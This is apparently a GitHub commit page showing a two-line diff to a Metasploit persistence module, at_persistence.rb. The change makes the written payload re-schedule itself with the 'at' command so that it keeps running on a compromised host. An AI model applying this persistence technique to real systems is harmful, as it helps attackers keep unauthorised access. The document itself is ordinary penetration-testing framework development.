Skip to content

Commit a7cf0c8

Browse files
committed
Make at_persistence more persistent
1 parent 18fa897 commit a7cf0c8

File tree

1 file changed

+2
-1
lines changed

1 file changed

+2
-1
lines changed

modules/exploits/multi/local/at_persistence.rb

Lines changed: 2 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -76,7 +76,8 @@ def exploit
7676
fail_with(Failure::BadConfig, 'Unable to find suitable location for payload')
7777
end
7878

79-
write_file(payload_file, payload.encoded)
79+
persistent_payload = "at -f #{payload_file} #{datastore['TIME']}\n" + payload.encoded
80+
write_file(payload_file, persistent_payload)
8081
register_files_for_cleanup(payload_file) if datastore['CLEANUP']
8182

8283
cmd_exec("at -f #{payload_file} #{datastore['TIME']}")

0 commit comments

Comments
 (0)